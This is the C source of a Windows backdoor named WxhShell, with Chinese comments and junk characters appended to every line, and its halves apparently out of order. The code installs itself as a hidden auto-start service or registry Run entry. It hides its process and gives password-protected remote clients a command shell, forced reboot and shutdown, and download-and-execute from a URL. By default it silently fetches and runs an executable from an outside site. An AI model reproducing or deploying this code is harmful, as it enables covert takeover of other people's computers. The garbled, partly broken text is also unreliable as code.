  // 关机 JQ"R%g` 8  
  case 'd': { (_.0g}2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,2MLYW,  
    if(Boot(SHUTDOWN)) ?#]wx H,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Yg}>?0  
    else { VlbS\Y.  
    closesocket(wsh); j.:I{!R#  
    ExitThread(0); o >Faq+@  
    } %}/|/=  
    break; -RKqbfmi=  
    } U_.9H _G  
  // 获取shell o4F?Rx,L  
  case 's': { G W@g  
    CmdShell(wsh); hg Pzx@  
    closesocket(wsh); glI4Jb_[  
    ExitThread(0); s1kG:h2|$  
    break; q>5 K:5  
  } NO'37d  
  // 退出 Q XLHQ_V  
  case 'x': { zNRR('B?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HpGI\s  
    CloseIt(wsh); Zv|TvlyT"  
    break; Uw5AHq).  
    } (JI[y"2  
  // 离开  J]4pPDm  
  case 'q': { <%b a 3<sg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z#znA4;)  
    closesocket(wsh); T6^ H%;G  
    WSACleanup(); "f N=Y$G  
    exit(1); qS?uMms7w  
    break; `E:&a]ul  
        } 8H@]v@Z2  
  } /c|X:F!;X#  
  } RTQtXv6mD  
h*B7UzCg  
  // 提示信息 {"WfA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hRaX!QcG3  
} D\0q lCAs  
  } hj+iB,8  
Mv_-JE9#>o  
  return; ~/l5ys  
} Y DWV=/  
`x:8m?q05  
// shell模块句柄 Z(wj5;[G  
int CmdShell(SOCKET sock) HF;$Wf+=J  
{ MfG8=H2#|  
STARTUPINFO si; PW QRy  
ZeroMemory(&si,sizeof(si)); ["N_t:9I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kR/Etm5_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3;Y 9<  
PROCESS_INFORMATION ProcessInfo; @|6#]&v`  
char cmdline[]="cmd"; $az9Fmta  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +"GBuNh  
  return 0; bx._,G  
} '4e, e|r  
U-:"Wx%G  
// 自身启动模式 wY xk[)&Y  
int StartFromService(void) * &O4b3R  
{ <s wfYT!N  
typedef struct kK%@cIXS3  
{ CAbR+ y  
  DWORD ExitStatus; vp&N)t_  
  DWORD PebBaseAddress; m bZn[D_zi  
  DWORD AffinityMask; (U([T-H  
  DWORD BasePriority; Lc! t  
  ULONG UniqueProcessId; cTa$t :K@  
  ULONG InheritedFromUniqueProcessId; 6R#.AD\  
}   PROCESS_BASIC_INFORMATION; b-?d(-  
~jD~_JGp  
PROCNTQSIP NtQueryInformationProcess; GWW#\0*Bn  
a%*W( 4=Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vf0 fa46  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |*> s%nF|  
#I}w$j i  
  HANDLE             hProcess; Wf{&D>  
  PROCESS_BASIC_INFORMATION pbi; awU&{<,=g  
<TEDqQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9][A1 +"  
  if(NULL == hInst ) return 0; d A>6  
',m!L@7M5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DDBf89$\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %G/(7l[W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pF<KhE*V  
`dJ?j[P,p  
  if (!NtQueryInformationProcess) return 0; S5/p3;O\c  
qlm7eS"sy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o7kQ&w   
  if(!hProcess) return 0; oCSJ<+[(C  
&6&$vF65c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l&{+3aC:  
@B9O*x+n:  
  CloseHandle(hProcess); Pj ^O8  
-7u_\XFk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >=K~*$&>  
if(hProcess==NULL) return 0; (Qd@Q,@(s  
4Ul*`/d  
HMODULE hMod; ~tZy-1  
char procName[255]; t*wV<b  
unsigned long cbNeeded; n'9&q]GN|  
M,sZ8eeq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \2[sUY<W  
%@^9(xTE  
  CloseHandle(hProcess); Pf#DBW*  
q'KXn0IY#  
if(strstr(procName,"services")) return 1; // 以服务启动 ,% *Jm  
yC\!6pg  
  return 0; // 注册表启动 C:ntr=3J  
} so_^%) gdJ  
&I7T ?  
// 主模块 '<1Q;3Ho  
int StartWxhshell(LPSTR lpCmdLine) 6F; |x  
{ KvmXRf*z  
  SOCKET wsl; HE@P<  
BOOL val=TRUE; U"OA m}  
  int port=0; i?n#ge  
  struct sockaddr_in door; <(_${zR  
Gdv{SCV  
  if(wscfg.ws_autoins) Install(); QRHM#v S  
cF}9ldc  
port=atoi(lpCmdLine); HY,VJxR[  
sWFw[ Y>  
if(port<=0) port=wscfg.ws_port; @<z#a9  
xV.UM8  
  WSADATA data; ?7dV:]%~2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,~>u<Wc!S  
Bxk2P<d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ofuQ`g1hb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UQO?hZ!y/.  
  door.sin_family = AF_INET; +?^lnoX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6. 6x$y3v  
  door.sin_port = htons(port); yX1OJg[s,  
<4Ik]Uz^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u"-."_  
closesocket(wsl); ,B$e'KQ  
return 1; 1i}p?sU  
} pykRi#[UrX  
nmoC(| r  
  if(listen(wsl,2) == INVALID_SOCKET) { t'*2)U  
closesocket(wsl); /_i]bM7W  
return 1; $!K,5^+  
} k(dNHT  
  Wxhshell(wsl); $j&2bO 5M  
  WSACleanup(); Oee>d<  
@!::_E+F]  
return 0; !Q{~f;L  
Nrzg>WQa  
} e!P]$em|1E  
\4n9m  
// 以NT服务方式启动 lFD/hz7lc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [cT7Iqip  
{ LEA^o"NW.  
DWORD   status = 0; Y*YV/E.  
  DWORD   specificError = 0xfffffff; Z[9f8/6<b  
seA=7c5E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /OeOL3Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tx]!|x" F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;_E][m  
  serviceStatus.dwWin32ExitCode     = 0; ]?V2L`/  
  serviceStatus.dwServiceSpecificExitCode = 0; PjkjUP  
  serviceStatus.dwCheckPoint       = 0; cWp5pGIzfp  
  serviceStatus.dwWaitHint       = 0; =z9FjK  
>/7[HhBT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /,3:<I  
  if (hServiceStatusHandle==0) return; !L@^Zgs|@?  
A2"$B\j1  
status = GetLastError(); 2fG[q3`  
  if (status!=NO_ERROR) K!;>/3Y2-  
{ Kbcr-89Gv~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O>>%lr|  
    serviceStatus.dwCheckPoint       = 0; 2x:aMWh  
    serviceStatus.dwWaitHint       = 0; 9On(b|mT  
    serviceStatus.dwWin32ExitCode     = status; ICUI0/J  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;w^{PZBg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0]2@T=*kTY  
    return; l%v2O'h  
  } vR'rYDtU@  
0ae}!LO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _}Ec[c  
  serviceStatus.dwCheckPoint       = 0; qQe23,x@5  
  serviceStatus.dwWaitHint       = 0; @^^,VgW[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tV9K5ON  
} ya'OI P `  
kXW$[R  
// 处理NT服务事件,比如:启动、停止 }bYk#6KX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Qc>NF0  
{ v Yw$m#@  
switch(fdwControl) #& &  
{ ;"+]bne~  
case SERVICE_CONTROL_STOP: @mu=7_$U  
  serviceStatus.dwWin32ExitCode = 0; D]hwG0Chd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ItwJL`  
  serviceStatus.dwCheckPoint   = 0; )k&!&  
  serviceStatus.dwWaitHint     = 0; B/b S:  
  { z+X DN:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~jM!8]=  
  } Yjix]lUXVf  
  return; X XC(R  
case SERVICE_CONTROL_PAUSE: U[c^xz&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jmva0K},SE  
  break; 99?: 9g  
case SERVICE_CONTROL_CONTINUE: T<~?7-O"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )U:W 9%  
  break; <9aa@c57  
case SERVICE_CONTROL_INTERROGATE: CYN")J8V  
  break; _rfGn,@BH  
}; 2qDVAq^@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( 2i{8  
} Y1L7sH 9  
0 A6% !h  
// 标准应用程序主函数 7A4_b8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K5:>  
{ .u&GbM%Ga  
[TX5O\g![  
// 获取操作系统版本 /Pgc W  
OsIsNt=GetOsVer(); ^:,I #]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _sC kBDl-  
"oo j;  
  // 从命令行安装 5)<}a&;{  
  if(strpbrk(lpCmdLine,"iI")) Install(); {%XDr,myd  
Z)RV6@(  
  // 下载执行文件 Ib0@,yS[  
if(wscfg.ws_downexe) { c~{)vL0K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 992cy2,Fb  
  WinExec(wscfg.ws_filenam,SW_HIDE); WcKL=Z?(  
} ys Td'J  
VTwJtWnq  
if(!OsIsNt) { "D.`:9sk0  
// 如果时win9x,隐藏进程并且设置为注册表启动 rT28q .  
HideProc(); +<\.z*  
StartWxhshell(lpCmdLine); UeN+}`!l  
} <#No t1R  
else KPB^>,T2{  
  if(StartFromService()) k)B]|,g7G0  
  // 以服务方式启动 yZqX[U  
  StartServiceCtrlDispatcher(DispatchTable); |-.r9;-b  
else E:S (v  
  // 普通方式启动 kc}&\y  
  StartWxhshell(lpCmdLine); S$1dXXT  
2j*o[kAE  
return 0; !; COFR  
} z.]  
V] 0~BV  
2^T`> ?{X  
\EOPlyf8x  
=========================================== ,[|4{qli\  
dEWI8Q]  
I-o |~  
 ylBjuD+  
zIh`Vw,t0  
3Fl!pq]  
" <hM`]/J55  
E>3(ff&  
#include <stdio.h> A]q"+Z]  
#include <string.h> "`aLSw75x  
#include <windows.h> !i*bb~  
#include <winsock2.h> PxiJ R[a  
#include <winsvc.h> <t)D`nY\  
#include <urlmon.h> Fun+L@:;  
1 8kzR6(W  
#pragma comment (lib, "Ws2_32.lib") R[_UbN 28  
#pragma comment (lib, "urlmon.lib") G$!JJ. )d  
zd^QG  
#define MAX_USER   100 // 最大客户端连接数 .m_-L Y-  
#define BUF_SOCK   200 // sock buffer |)IS[:X  
#define KEY_BUFF   255 // 输入 buffer [SX>b"L  
Hv.n O-c  
#define REBOOT     0   // 重启 ecG,[1];  
#define SHUTDOWN   1   // 关机 3F|#nq  
b$G &i'd  
#define DEF_PORT   5000 // 监听端口 z 2Rg`1B  
sQ>L3F;A`  
#define REG_LEN     16   // 注册表键长度 6;vfl*  
#define SVC_LEN     80   // NT服务名长度 kqyPb$Wy  
tv8}O([  
// 从dll定义API Mo_(WSs  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "0#d F:qt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H:>i:\J/M9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1.y|bB+kB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K`#bLCXEV0  
:{ Q[kYj  
// wxhshell配置信息 ";$rcg"%X  
struct WSCFG { qZ|>{^a*  
  int ws_port;         // 监听端口 MW$ X4<*KD  
  char ws_passstr[REG_LEN]; // 口令 UgjY  
  int ws_autoins;       // 安装标记, 1=yes 0=no d1=fA%pJ  
  char ws_regname[REG_LEN]; // 注册表键名 tNbZ{=I>  
  char ws_svcname[REG_LEN]; // 服务名 v6q oH)n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'k?*?XxG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o9#8q_D9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R@Kzdeo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no BT8L'qEj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YqSkz|o}m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y6r<+#V  
x=~$ik++  
}; '#p2v'A  
7lYiufg  
// default Wxhshell configuration G>yTv`-  
struct WSCFG wscfg={DEF_PORT, >^q7:x\  
    "xuhuanlingzhe", 0281"aO  
    1, c-gpO|4>  
    "Wxhshell", POtwT">z  
    "Wxhshell", 6o!Y^^/U  
            "WxhShell Service", V'jvI  
    "Wrsky Windows CmdShell Service", 5fqQ;r  
    "Please Input Your Password: ", ]E!b&  
  1, /a:sWmxMT  
  "http://www.wrsky.com/wxhshell.exe", sp'f>F2]  
  "Wxhshell.exe" d iGkwKj  
    }; jdWA)N}kDG  
dZ"w2ho  
// 消息定义模块 ROc)LCA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z.%K5vrO>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^a+H`RD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sj& j\<(  
char *msg_ws_ext="\n\rExit."; C`LHFqv  
char *msg_ws_end="\n\rQuit."; lZ![?t}2`  
char *msg_ws_boot="\n\rReboot..."; q"O4}4`  
char *msg_ws_poff="\n\rShutdown..."; zEYT,l  
char *msg_ws_down="\n\rSave to "; mxQPOu  
>^5U XQr  
char *msg_ws_err="\n\rErr!"; Bc^ MZ~+ip  
char *msg_ws_ok="\n\rOK!"; ,8^QV3  
y m~  
char ExeFile[MAX_PATH]; f7_EqS=(  
int nUser = 0; E+$%88  
HANDLE handles[MAX_USER]; PA_54a9/<  
int OsIsNt; _cw~N p  
/3mt=1/~{B  
SERVICE_STATUS       serviceStatus; aH!2zC\:T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; py8)e7gX=  
ZN `D!e6  
// 函数声明 \sZT[42  
int Install(void); +M^+qt;]V  
int Uninstall(void); 3+>;$  
int DownloadFile(char *sURL, SOCKET wsh); +J<igb!S  
int Boot(int flag); >/5'0n_R  
void HideProc(void); 6Yu&'[?H$  
int GetOsVer(void); dNg5#?mzT5  
int Wxhshell(SOCKET wsl); ap y#8]  
void TalkWithClient(void *cs); XD=p:Ezh  
int CmdShell(SOCKET sock); 'l7ey3B%  
int StartFromService(void); 4gkaCk{]  
int StartWxhshell(LPSTR lpCmdLine); U.,_zEbx,  
^vA"3Ixb!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $>csm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }> pNf  
luj UEHzp  
// 数据结构和表定义 7j22KQ|EX^  
SERVICE_TABLE_ENTRY DispatchTable[] = Z\9DtvV  
{ gfY1:0  
{wscfg.ws_svcname, NTServiceMain}, BhcTPQsW  
{NULL, NULL} MJDW-KL-  
}; 44p?x8(z*  
8,^2'dK34  
// 自我安装 MaS"V`NI  
int Install(void) Q]v><  
{ n |e=7?H8  
  char svExeFile[MAX_PATH]; +8#hi5e  
  HKEY key; zOfMKrRG  
  strcpy(svExeFile,ExeFile); Pv#>j\OR&  
Un.u{$po  
// 如果是win9x系统,修改注册表设为自启动 lc qpwSk  
if(!OsIsNt) { _q7mYc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9H6%\#rw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6hX[5?}  
  RegCloseKey(key); {/E_l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CqkY_z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @7j$$  
  RegCloseKey(key); sJ !<qb5!  
  return 0; .WV5Gf)  
    } %c"t`  
  } (- QvlpZ  
} 31> $;"  
else { \lBY4j+;  
]XS[\qo  
// 如果是NT以上系统,安装为系统服务  3 UX/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4?2$~\ x  
if (schSCManager!=0) }3DZ`8u  
{ abgA Ug)  
  SC_HANDLE schService = CreateService X<*-d6?gD`  
  ( $[1J[eY*  
  schSCManager, s-"oT=  
  wscfg.ws_svcname, (l ]_0-Z  
  wscfg.ws_svcdisp, 6Ex 16  
  SERVICE_ALL_ACCESS, f(Uo?_as  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ];63QJU  
  SERVICE_AUTO_START, 'n dXM   
  SERVICE_ERROR_NORMAL, ~M?^T$5  
  svExeFile, Q GoBugU  
  NULL, %%h0 H[5*  
  NULL, YM<F7tp4  
  NULL, J7Y lmi  
  NULL, 'i5,2vT0  
  NULL La 9:qpj  
  ); W0qn$H  
  if (schService!=0) ?Fp2W+M j  
  { ?Zv>4+Y'  
  CloseServiceHandle(schService); ["7]EW\!:  
  CloseServiceHandle(schSCManager); X7Z=@d(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lV ra&5  
  strcat(svExeFile,wscfg.ws_svcname); p/WE[8U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { N*NGC!p`N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yZyB.wT  
  RegCloseKey(key); oH>G3n|U^  
  return 0; L+N;mI8  
    } 5`QN<4?%  
  } dc=~EG-_rM  
  CloseServiceHandle(schSCManager); >tQ$V<YB  
}  57`*5X  
} YU6D;  
`\Ye:$q  
return 1; ]~d!<x#+  
} {wwkbc*  
e.l3xwt>$  
// 自我卸载 [MI?  
int Uninstall(void) 7S.E,\Tws  
{ $s`#&.>c-  
  HKEY key; m(rd\3d  
^W*3S[-`g  
if(!OsIsNt) { trm-&e7q?;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7:Be.(a  
  RegDeleteValue(key,wscfg.ws_regname); G+V?c1Me  
  RegCloseKey(key); :211T&B%A_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  5JggU  
  RegDeleteValue(key,wscfg.ws_regname); <F6LC_  
  RegCloseKey(key); DNmP>~  
  return 0; ( *Fb/  
  } 2'T uS?  
} MNWuw;:v  
} =Yt)b/0b9  
else { xI( t!aYp  
>yr1wVS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sRaTRL2  
if (schSCManager!=0) t^5xq8w8  
{ ;oGpB#[zO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T'${*NVn  
  if (schService!=0) d6vls7J/4  
  { Q=n2frW(T  
  if(DeleteService(schService)!=0) {  Lxqv  
  CloseServiceHandle(schService); K1_#Jhz  
  CloseServiceHandle(schSCManager); Kk|4  
  return 0; gBd@4{y6C.  
  } W0;MGBfb  
  CloseServiceHandle(schService); S<Od`I  
  } n1r'Y;G  
  CloseServiceHandle(schSCManager); R!y`p:O C  
} ka?EXF:  
} KbM1b  
o|bm=&f  
return 1; FQqk+P!  
} :{'%I#k2  
.X;D I<K  
// 从指定url下载文件 Qoom[@$  
int DownloadFile(char *sURL, SOCKET wsh) 6u [ B}%l  
{ 07#e{   
  HRESULT hr; ds "N*\.  
char seps[]= "/"; 9D,/SZ-v  
char *token; rJw Ws  
char *file; y\@INA^  
char myURL[MAX_PATH]; 1T/ 72+R0  
char myFILE[MAX_PATH]; r"bV{v  
4ztU) 1  
strcpy(myURL,sURL); kH">(f  
  token=strtok(myURL,seps); -&QTy  
  while(token!=NULL) pWOK~=t  
  { ;:Q&Rf"@%  
    file=token; =niT]xf  
  token=strtok(NULL,seps); mT&?DZ9<  
  } 5"mH6%d :8  
Un^3%=;  
GetCurrentDirectory(MAX_PATH,myFILE); qi=v}bp&  
strcat(myFILE, "\\"); eYD-8*  
strcat(myFILE, file); 6O| rI>D  
  send(wsh,myFILE,strlen(myFILE),0); wS @-EcCB  
send(wsh,"...",3,0); Cu`ty] -'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GB8>R  
  if(hr==S_OK) Y@2v/O,\  
return 0; T))F r:  
else !.@F,wZvY  
return 1; m ^ '!  
2 i97  
} <}('w/  
b/6!>qMMk%  
// 系统电源模块 #iVr @|,  
int Boot(int flag) vTq [Xe"  
{  kAnK1W>  
  HANDLE hToken; .~7:o.BE`n  
  TOKEN_PRIVILEGES tkp; Rg\D-F6:  
yP0XA=,Y  
  if(OsIsNt) { 0+3{fD/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6)[gF 1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u}eLf'^ZCe  
    tkp.PrivilegeCount = 1; A# Ne07d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?4H>1Wkb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JN> h:  
if(flag==REBOOT) { h)pYV>!d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qt`HP3J&  
  return 0; 3F?_{A  
} !~ fy".|x  
else { 6YF<GF{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nl+8C}=u  
  return 0; QQ\\:]iM  
} k<QZ_*x}G  
  } f?W"^6Df  
  else { 5KC Zg'h  
if(flag==REBOOT) { *_H^]wNJG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aK?PK }@  
  return 0; $*c!9Etl4  
} @BoZZ  
else {  ?F/)<r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .kp3<.  
  return 0; Kdr} 7#c  
} IXC2w *'m  
} dLtmG:II  
M@<r8M]G  
return 1; a,eJO??  
} NN] 8T  
O6$n VpD3  
// win9x进程隐藏模块 t-?#x   
void HideProc(void) ,iMdv+  
{ p@[n(?duC.  
h {VdW}g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K8 Hj)$E61  
  if ( hKernel != NULL ) #8r1<`']!  
  { )(-aw,i K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1a_;(T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S0H|:J  
    FreeLibrary(hKernel); 4GG0jCNk  
  } }.N~jx0R  
Uc( z|  
return; sOhKMz  
} Y{g[LG`U  
Q9{f'B  
// 获取操作系统版本 .tA=5 QY,  
int GetOsVer(void) NKMVp/66D  
{ d-'BT(@:  
  OSVERSIONINFO winfo; r;@"s g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FE3uNfQs|  
  GetVersionEx(&winfo); EpB3s{B"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DA^!aJ6iF  
  return 1; Y lhKP;  
  else 5`Y>!| Ab  
  return 0; 46gDoSS  
} ?eDZ-u9)  
&EJ/Rl  
// 客户端句柄模块 79Ur1-]/  
int Wxhshell(SOCKET wsl) vf?Xt  
{ l0=VE#rFl  
  SOCKET wsh; N fND@m{/  
  struct sockaddr_in client; ', P_a,\  
  DWORD myID; 9;fs'R  
TF~cDn  
  while(nUser<MAX_USER) :4[_&]H  
{ <{IeCir  
  int nSize=sizeof(client); TFDzTD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jKb4d9aX  
  if(wsh==INVALID_SOCKET) return 1; FB2{qG3  
Wn&9R j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZwM d 22  
if(handles[nUser]==0) 3u/ GrsF  
  closesocket(wsh); N*SUA4bnuM  
else @`XbM7D 5  
  nUser++; EAV6qW\r5]  
  } h(p c GE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O:Wd ,3_  
p<c1$O*  
  return 0; &"d :+!4h  
} vDCbD#.6  
uTNy{RBD+  
// 关闭 socket uoTc c|Kc  
void CloseIt(SOCKET wsh) A9y@v{txN  
{ \ 0.!al0  
closesocket(wsh); 't+'rG6x  
nUser--; h>ZU67-   
ExitThread(0); =\)76xC20  
} \?[m%$A  
i4lB ]k  
// 客户端请求句柄 >OKc\m2%Q  
void TalkWithClient(void *cs) <.:mp1,8V  
{ <vd}oiB@  
85BB{ T;  
  SOCKET wsh=(SOCKET)cs; )!=fy']  
  char pwd[SVC_LEN]; ??z&w`Yy,  
  char cmd[KEY_BUFF]; ]0=THq\H  
char chr[1]; sN ZOm$  
int i,j; J|C CTXT  
3{M0iNc1  
  while (nUser < MAX_USER) { .p%V]Ka  
O)c3Lm-w  
if(wscfg.ws_passstr) { X0]Se(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WF-^pfRq~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I].ddR%  
  //ZeroMemory(pwd,KEY_BUFF); 7>f)pfLM  
      i=0; &/?OP)N,}  
  while(i<SVC_LEN) { BiA^]h/|  
K0\`0E^,  
  // 设置超时 `KUL 4) g~  
  fd_set FdRead; JPpNCC.b  
  struct timeval TimeOut; Rp !Rzl<  
  FD_ZERO(&FdRead); Awe'MGp%  
  FD_SET(wsh,&FdRead); et<@3wyd]  
  TimeOut.tv_sec=8; :=\`P  
  TimeOut.tv_usec=0; '![VA8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k#G+<7c<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *~^%s +b  
5")BCA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d>wG6Z,|  
  pwd=chr[0]; :3D[~-/S  
  if(chr[0]==0xd || chr[0]==0xa) { [6)vD@  
  pwd=0; V o%GO 9b;  
  break; = Q"(9[Az  
  } U["IXR#  
  i++; j.:f =`xf  
    } 64D4*GQ  
{6iHUK   
  // 如果是非法用户,关闭 socket n1)].`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0>:`|IGnT2  
} NN~PWy1opa  
jV' tcFr4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); caZEZk#r;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GK&R.R]  
CJ[e^K{  
while(1) { Ni#y=cb  
AjINO}b  
  ZeroMemory(cmd,KEY_BUFF); j#${L6  
&Q t1~#1  
      // 自动支持客户端 telnet标准   R^rA.7T  
  j=0; PMe3Or@  
  while(j<KEY_BUFF) { =cxG4R1x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vu,:rPqI  
  cmd[j]=chr[0]; :AyZe7:(D  
  if(chr[0]==0xa || chr[0]==0xd) { ?uXY6J"  
  cmd[j]=0; ZK8DziO  
  break; :fQN_*B4@4  
  } 2>.>q9J(  
  j++; l#a*w  
    } Pz-=Eq  
#!4`t]E<  
  // 下载文件 i~tps  
  if(strstr(cmd,"http://")) { ]#dZLm_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q,]57s  
  if(DownloadFile(cmd,wsh)) MT<3OKo?:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JB HnJm  
  else r6 L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !%QbE[Kl>  
  } )T@+"Pw8t  
  else { }TU2o3Q  
